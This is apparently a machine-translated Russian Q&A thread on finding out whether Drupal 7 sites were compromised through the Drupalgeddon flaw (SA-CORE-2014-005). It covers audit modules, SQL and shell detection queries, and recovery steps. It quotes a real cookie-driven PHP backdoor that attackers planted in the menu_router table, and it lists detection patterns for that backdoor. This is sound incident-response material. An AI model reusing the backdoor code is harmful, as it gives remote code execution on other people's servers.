Drupal SA-CORE-2014-005 - Как определить, что мой сервер / сайты были взломаны?

Я только что обновил все свои сайты, используя метод исправления для исправления эксплойта Drupal SA-CORE-2014-005. Я только что прочитал сообщения о том, что только вчера кто-то из российских IP проник на сайты друпалов.

https://www.drupal.org/SA-CORE-2014-005

Мои основные проблемы сейчас:

• Как мне узнать, были ли включены мои сайты?
• Что я должен искать в журналах доступа Apache, чтобы определить, был ли мой сайт жертвой или нет?
• Пока что эти хакеры делают с сайтами?

Вот некоторые SQL-запросы, которые можно выполнить к базам данных вашего сайта, чтобы проверить пользователей с правами администратора, и какие из них получили доступ к сайту после 15 октября.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Если вы читаете эту статью и надеетесь проверить сайт Drupal 7 более чем через месяц после того, как эксплойт обнаружен, ваш сайт, скорее всего, уже взломан . Лучше всего восстановить резервную копию до того, как начались атаки, и работать оттуда.

На SA-CORE-2014-005 есть часто задаваемые вопросы .

Как мне узнать, были ли мои сайты взломаны?

Один из способов быстро проверить, не скомпрометированы ли сайты, - это команда Drupalgeddon drush.

• https://www.drupal.org/project/drupalgeddon

Установите на свой ~/.drushсdrush dl drupalgeddon

Затем используйте drush drupalgeddon-testдля проверки. Псевдонимы делают это легко и быстро.

Этот инструмент может подтвердить использование сайта, но он не может гарантировать, что ваш сайт не был использован. Здесь нет «чистого счета здоровья», если вы не обновились до начала атаки.

Модуль Site Audit включает в себя некоторые проверки от Drupalgeddon, и дает вам гораздо более полезный вклад также. Я очень рекомендую это. (РЕДАКТИРОВАТЬ: Теперь они работают вместе - супер приятно!)

• http://drupal.org/project/site_audit

Обзор безопасности не проверяет наличие атак на Друпалгеддон, но его тоже стоит иметь в своем инструментальном поясе.

• http://drupal.org/project/security_review

Если кодовая база вашего сайта была доступна для записи пользователю www, вы могли бы дополнительно проверить наличие модифицированного кода, используя взломанный модуль. Этот модуль может не делать то, что вы думаете, основываясь только на его названии :)

• http://drupal.org/project/hacked

Хотя не существует единого способа идентификации всех скомпрометированных сайтов, эти инструменты могут помочь вам определить наиболее распространенные признаки.

Что я должен искать в журналах доступа Apache, чтобы определить, был ли мой сайт жертвой или нет?

Ваши журналы доступа будут содержать много запросов POST. Если вы не предприняли необычный шаг по регистрации всех публикаций перед ошибкой, у вас вряд ли будет информация, которая скажет, какие из них были вредоносными.

Пока что эти хакеры делают для взломанных сайтов?

Многие сообщают, что их сайты залатаны хакерами! Как злоумышленник, это имеет смысл - вы не хотите, чтобы ваш недавно взломанный сайт был вырван из-под вас следующим злоумышленником :)

Кроме этого, я бы предположил, что сайты используются для сбора любых ценных данных (возможно, получить некоторые кредиты, может поднять детали транзакций после использования) и выполнять скучные вещи, такие как рассылка спама и работа в качестве скромных ведомых ботнетов. Да, и еще больше расширяйте империю атакующих сайтов, захваченных Drupal. (Извините, у меня нет взломанных сайтов для наблюдения.)

Вот некоторые проверки для общих атак (это не исчерпывающий список, но некоторые атаки, которые можно увидеть в дикой природе до сих пор):

• Проверьте свою учетную запись пользователя 1, чтобы убедиться, что ее имя пользователя, адрес электронной почты или пароль соответствуют вашим ожиданиям. Также проверьте любые другие учетные записи пользователей, которые имеют высокие уровни разрешений, если это возможно.
• Проверьте новые учетные записи пользователей, которые выглядят подозрительно.
• Проверьте наличие изменений ролей в вашей системе, например, каких-либо новых ролей или переименованных ролей.
• Проверьте изменения разрешения. Наиболее важным аспектом этого является обеспечение того, чтобы роль анонимного пользователя (или другие роли, которые любой может подписать, чтобы получить) не были изменены, чтобы предоставить им расширенный доступ.
• Проверьте наличие новых пользовательских блоков, которые могут содержать вредоносный код.
• Проверьте наличие новых пользовательских узлов, которые могут содержать вредоносный код.
• Проверьте файлы в вашей файловой системе, которых там быть не должно. Это легко, если вы используете контроль версий, потому что вы можете сделать git status или svn st, чтобы увидеть, есть ли какие-нибудь новые файлы.
• Если они загрузили вредоносные файлы, вы можете проверить свои журналы доступа на наличие совпадений со странными именами файлов, с которыми вы не знакомы.

• Проверьте таблицу базы данных маршрутизатора меню на наличие вредоносных записей. Например (модуль drupalgeddon / плагин drush на drupal.org имеет хороший скрипт для более тщательной проверки этой таблицы):

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• Вы также можете просто просмотреть таблицу маршрутизации меню для странно выглядящих записей.

Некоторые вещи, которые пытаются сделать хакеры:

• Разместите файлы php-скриптов на своем сайте, чтобы они могли запускаться, нажимая их в браузере. Эти скрипты могут совершать самые разные вредоносные действия. Это достигается за счет добавления вредоносных пунктов меню маршрутизатора.
• Создайте учетные записи пользователей-администраторов, чтобы потом использовать их для совершения плохих действий на вашем сайте или захвата вашего сайта.
• Измените адрес электронной почты пользователя 1, чтобы он мог сбросить пароль для этой учетной записи и перенять его.
• Изменить разрешения для общедоступных пользовательских ролей.
• Добавить блоки / узлы / и т. Д. который может содержать вредоносный код. Если у вас включен фильтр PHP, это еще большая проблема.

К сожалению, есть много вещей, которые злоумышленник может сделать с вашей базой данных, поэтому довольно сложно дать полный список возможностей. Они могут делать вещи, которые пытаются получить контроль над вашим сайтом, или они могут просто взломать ваш сайт, но отбрасывать таблицы или столбцы базы данных и т. Д.

Они могут даже внести очень небольшие изменения в конфигурацию сайта, например, изменить имя вашего сайта или что-то в этом роде, что не конец света, но все еще проблематично.

По сути, все, что вы можете сделать в своей базе данных, выполнив команду SQL, теоретически может сделать злоумышленник.

Все модули, упомянутые в ответе Криса Берджесса, очень полезны для проверки этих вещей.

Я думаю, что следовал бы совету drupal.org: « Вы должны исходить из предположения, что каждый сайт Drupal 7 был взломан, если только он не обновлен или не исправлен до 15 октября, 23:00 по Гринвичу, то есть через 7 часов после объявления ». Как сказал Беван в этом комментарии: «Обновление или исправление Drupal не исправляет бэкдоры, которые злоумышленники установили перед обновлением или исправлением Drupal».

Беван также сделал следующую диаграмму рабочего процесса, чтобы помочь вам проанализировать, возможно, вы были заражены, а также как вылечиться и предотвратить . Тем не менее, он просит всех перейти к его оригинальной статье, чтобы убедиться, что у вас последняя версия рабочего процесса. Кроме того, Acquia делает интересную статью об атаках и шаблонах, которые они испытали в Acquia Cloud.

Цитата: https://www.drupal.org/node/2357241#comment-9258955

Это пример файла, который вставляется в столбец access_callback таблицы menu_router:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Как вы можете видеть, он пытается создать файл modules / image / vzoh.php, но, поскольку у меня есть только права на чтение внутри этих каталогов, php не работает.

Отчеты людей, которые находят похожие файлы, созданы с помощью поиска в вашем каталоге drupal: https://www.drupal.org/node/2357241#comment-9260017

Я сделал следующую команду:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Цитируется по адресу : http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Отображение файлов, которые изменились на живом сервере: git status

Поиск попыток выполнения кода через menu_router: выберите * из menu_router, где access_callback = 'file_put_contents'

Показывает, какие файлы находятся на работающем сервере, а не в управлении версиями: diff -r docroot repo | grep docroot | grep 'Only in docroot'

Поиск файлов PHP в каталоге файлов: найти. -path "* php"

Проверка промежутка времени между тем, как пользователь вошел на ваш сайт, и его последним посещением страницы: выберите (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid из внутренних сессий пользователей u на s.uid = u.uid;

Очень хороший список команд, чтобы сказать, если вы были скомпрометированы.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Вы можете проверить, был ли ваш сайт взломан с помощью этого онлайн-инструмента:

Проверка Drupal: EngineHack

Очевидно, что у него есть свои ограничения, но это хорошая отправная точка.